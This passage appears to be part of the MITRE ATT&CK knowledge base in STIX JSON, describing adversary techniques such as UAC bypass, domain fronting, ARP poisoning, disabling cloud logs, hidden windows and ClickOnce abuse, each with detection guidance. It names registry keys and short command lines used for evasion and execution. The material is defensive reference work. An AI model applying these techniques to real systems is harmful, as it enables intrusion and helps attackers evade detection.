            "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b",
            "created": "2019-04-09T16:09:22.173Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1494",
                    "external_id": "T1494"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:09.328Z",
            "name": "Runtime Data Manipulation",
            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Integrity"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
            "created": "2020-03-14T23:29:19.581Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090/004",
                    "external_id": "T1090.004"
                },
                {
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:48:02.492Z",
            "name": "Domain Fronting",
            "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "created": "2020-10-15T12:05:58.755Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/002",
                    "external_id": "T1557.002"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "source_name": "RFC826 ARP",
                    "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.",
                    "url": "https://tools.ietf.org/html/rfc826"
                },
                {
                    "source_name": "Sans ARP Spoofing Aug 2003",
                    "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.",
                    "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:43:10.406Z",
            "name": "ARP Cache Poisoning",
            "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jon Sternstein, Stern Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
            "created": "2020-10-12T13:52:32.846Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/008",
                    "external_id": "T1562.008"
                },
                {
                    "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
                    "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"
                },
                {
                    "source_name": "AWS Update Trail",
                    "description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.",
                    "url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"
                },
                {
                    "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
                    "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.",
                    "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
                },
                {
                    "source_name": "Configuring Data Access audit logs",
                    "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit/configure-data-access"
                },
                {
                    "source_name": "Dark Reading Microsoft 365 Attacks 2021",
                    "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.",
                    "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"
                },
                {
                    "source_name": "az monitor diagnostic-settings",
                    "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"
                },
                {
                    "source_name": "Pacu Detection Disruption Module",
                    "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.",
                    "url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:19:53.826Z",
            "name": "Disable or Modify Cloud Logs",
            "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Syed Ummar Farooqh, McAfee",
                "Prasad Somasamudram, McAfee",
                "Sekhar Sarukkai, McAfee",
                "Ibrahim Ali Khan",
                "Alex Soler, AttackIQ",
                "Janantha Marasinghe",
                "Matt Snyder, VMware",
                "Joe Gumke, U.S. Bank",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "SaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification",
                "User Account: User Account Modification",
                "Cloud Service: Cloud Service Disable"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "created": "2020-02-21T21:16:18.066Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1518/001",
                    "external_id": "T1518.001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:05:09.449Z",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents  may collect  metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
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                "Firewall: Firewall Metadata",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Firewall: Firewall Enumeration"
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "created": "2020-03-13T20:26:49.433Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/003",
                    "external_id": "T1564.003"
                },
                {
                    "source_name": "Cantoris Computing",
                    "description": "Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.",
                    "url": "https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/"
                },
                {
                    "source_name": "Hidden VNC",
                    "description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.",
                    "url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"
                },
                {
                    "source_name": "Anatomy of an hVNC Attack",
                    "description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.",
                    "url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "PowerShell About 2019",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
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            "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack)  All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.",
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                "Mark Tsipershtein",
                "Vijay Lalwani"
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            "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.",
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                    "source_name": "FireEye APT38 Oct 2018",
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                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
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            "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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                    "source_name": "LOLBAS /Dfsvc.exe",
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                    "source_name": "Microsoft Learn ClickOnce",
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                    "source_name": "SpectorOps Medium ClickOnce",
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                    "source_name": "NetSPI ClickOnce",
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                    "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"
                },
                {
                    "source_name": "Burke/CISA ClickOnce Paper",
                    "description": "William J. Burke IV. (n.d.). Appref-ms Abuse for  Code Execution & C2. Retrieved September 9, 2024.",
                    "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894"
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                    "source_name": "Burke/CISA ClickOnce BlackHat",
                    "description": "William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU\u2019RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.",
                    "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894"
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            "name": "ClickOnce",
            "description": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)",
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            "x_mitre_detection": "",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "Zscaler APT31 Covid-19 October 2020",
                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
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                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
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                {
                    "source_name": "DFIR Report Trickbot June 2023",
                    "description": "The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.",
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            "description": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.",
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            "modified": "2025-04-15T22:40:57.270Z",
            "name": "Identify Roles",
            "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "created": "2017-05-31T21:31:43.540Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1132",
                    "external_id": "T1132"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Wikipedia Binary-to-text Encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
                },
                {
                    "source_name": "Wikipedia Character Encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Character_encoding"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:21.024Z",
            "name": "Data Encoding",
            "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
